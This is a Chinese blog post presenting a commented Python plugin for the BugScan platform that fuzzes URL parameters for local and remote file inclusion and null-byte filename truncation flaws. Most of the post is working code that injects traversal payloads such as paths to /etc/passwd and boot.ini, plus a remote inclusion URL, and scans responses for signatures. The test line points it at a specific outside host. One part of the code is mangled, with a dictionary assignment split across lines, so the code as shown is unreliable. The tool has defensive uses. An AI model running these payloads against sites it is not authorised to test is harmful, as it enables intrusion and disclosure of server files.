脚本本地/远程文件包含/读取及文件名截断漏洞FUZZ工具详解

  • A+
所属分类:神兵利刃

脚本的文件包含漏洞可以说是层出不穷,苦于市面上没有好的功能全面的有针对性的开源工具做参考,现在就文件包含的几种典型漏洞为例子。

http://bugscan.net/manage/plugin/api
插件源码及详细的描述:   http://bugscan.net/manage/node/65

此插件可以本地测试运行当做一个fuzz工具,也可以在bugscan上做为一个功能模块运行
代码如下,要以先看assign函数,再看audit函数,注释详细清晰:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
# 脚本语言本地/远程,文件包含/读取, 文件名截断漏洞FUZZ工具
import re
import urlparse
import urllib
import os

# 此函数会在爬虫扫描过程中调用,为任务派遣函数
def assign(service, arg):
    # 只接收链接
    if service != "www": 
        return
    # 分析链接,看有没有查询参数
    r = urlparse.urlparse(arg)
    pairs = urlparse.parse_qsl(r.query)
    # 如果参数过多,超过6个,效率起见,放弃此链接
    if urlparse.urlparse(arg).query.find('=') == -1 or len(pairs) > 6:
        return
    # 返回True表始接收任务,arg是要调度器传给audit函数的参数
    return True, arg

# 远程文件包含的FUZZ函数
def check_rfi(action, query, k, v, normal_res):
    # 要判断两次,第一次,传全参数列表进去,第二次,只FUZZ一个参数,其它参数不传
    for i in range(2):
        # 网上总结的一组经典列表,以(路径,签名)做列表
        paths = [
                ('../../../../../../../../../../etc/passwd', '/bin/(bash|sh)[^\r\n<>]*[\r\n]'),
                ('../../../../../../../../../../etc/passwd%00', '/bin/(bash|sh)[^\r\n<>]*[\r\n]'),
                ('http://cirt.net/rfiinc.txt?', '<title>phpinfo'),
                ('c:/boot.ini', '\[boot loader\][^\r\n<>]*[\r\n]'),
                ]
        for inj, fingerprint in paths:
            qsl = []
            # 第一轮fuzz,完整提交全部参数
            if i == 0:
                for key, val in query:
                    # 如果参数key为要fuzz的,替换为路径
                    val = inj if (key==k) else val
                    qsl.append((key, val))
            else:
                # 第二轮fuzz, 只提交要fuzz的参数,其它不提交
                qsl.append((k, inj))

            # 经合成URL
            qs = urllib.urlencode(qsl)
            url = '%s?%s' % (action, qs)
            # 发送请求
            code, head, res, _, _ = curl.curl(url)
            debug('[%03d] %s', code, url)
            # 开始查询是否包含签名内容, 如<?php <%
            # 如果指定的签名在fuzz过程中找到,而没有在正常的网页里找到,说明漏洞存在
            if re.search(fingerprint, res) and (not re.search(fingerprint, normal_res)):
                # 记录一个报告
                security_warning(url)
                # 中断fuzz
                return True

# 本地文件包含的fuzz函数
def check_lfi(action, query, k, v, files, suffix, flags):
    filter = {}
    # 默认情况下,只测试两轮,像远程文件包含一样
    loop = 2
    # 如果参数有文件后缀,测试三轮,第三轮测试文件后缀截断漏洞(附加%00)
    if suffix:
        loop = 3
    # 开始fuzz
    for i in range(loop):
        for file in files:
            # 如果是第三轮,循环以0开头(0,1,2), 在后缀后加上\x00测试是否有文件名截断漏洞
            if i == 2:
                file += '\x00.' + suffix
            # 构造查询结构
            qsl = []
            # 第一轮,提交全部参数
            if i == 0:
                for key, val in query:
                    val = file if (key==k) else val
                    qsl.append((key, val))
            # 第二轮,只提交FUZZ的参数
            else:
                # next loop only test one argments
                qsl.append((k, file))

            # 构造URL
            qs = urllib.urlencode(qsl)
            url = '%s?%s' % (action, qs)
            # 这里加了一个过滤器,防止产生重复的URL
            if url not in filter:
                filter
= True # 请求URL code, head, res, _, new_url = curl.curl(url) debug('[%03d] %s', code, url) # 开始查询是否包含签名内容, 如<?php <% for w in flags: if re.search(w, res): # 发现漏洞,上传报告,并返回 security_warning(url) return True def audit(arg): # arg为assign传过来的链接,为一个带参数查询的URL url = arg r = urlparse.urlparse(url) # 取出?号前面的地址 action = urlparse.urlunsplit((r.scheme, r.netloc, r.path, '', '')) # 取出参数的key pairs = urlparse.parse_qsl(r.query) # 以下参数,为.NET的内置参数,自动跳过,不判断 reject_key = ['__VIEWSTATE', 'IbtnEnter.x', 'IbtnEnter.y'] # 请求action, 保存一个返回内容的快照到normal_res code, head, normal_res, _, _ = curl.curl(action) # 尝试每个参数是否有远程文件包含漏洞 for k, v in pairs: # 跳过指定的内置参数 if k in reject_key: continue # 如果发现参数有漏洞,返回 if check_rfi(action, pairs, k, v, normal_res): return # 尝试每个参数是否有本地文件包含读取漏洞, 以当前文件名做为包含文件,传递 # 获取当前URL的快照,搜索内容来获取有效的用来判断是否利用成功的签名,如:<?php, <% code, head, res, _, _ = curl.curl(url) flags = [] for w in ['<\?[\r\n\s=]', '<\?php[\r\n\s=]', '<%[\r\n\s@]']: if not re.search(w, res): flags.append(w) # 没有找到可以使用的签名,返回 if not flags: return paths = ['.', '..', '../..', '../../..', '../../../..', '../../../../..'] files = [] # 获取URL的文件名 filename = r.path.split('/')[-1] # 保存到要fuzz的文件列表里 files.append(filename) # 保存一组递归目录列表,如./a.php, ../a.php, ../../a.php for path in paths: files.append(path + '/' + filename) # 保存一组递归的完整文件列表如, /../news/show.php, /../../news/show.php for path in paths: files.append(path + r.path) # 开始遍历参数进行fuzz for k, v in pairs: # 跳过内置的参数 if k in reject_key: continue # 如果参数值里面找到类似a.jpg这样文件名特征, 获取文件后缀到suffix里面去 suffix = '' if v.find('.') != -1: suffix = v.split('.')[-1] # 开始fuzz本地文件包含漏洞 if check_lfi(action, pairs, k, v, set(files), suffix, flags): return # 测试代码开始 if __name__ == '__main__': # 调入SDK模拟环境 from dummy import * # 模拟调试器传入参数,测试审计函数 audit(assign('www', 'http://demo.webravor.com/kj.jsp?url=lionsky.txt')[1])

更多插件源码和教程,移步: http://bugscan.net/

  • 我的微信
  • 这是我的微信扫一扫
  • weinxin
  • 我的微信公众号
  • 我的微信公众号扫一扫
  • weinxin

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: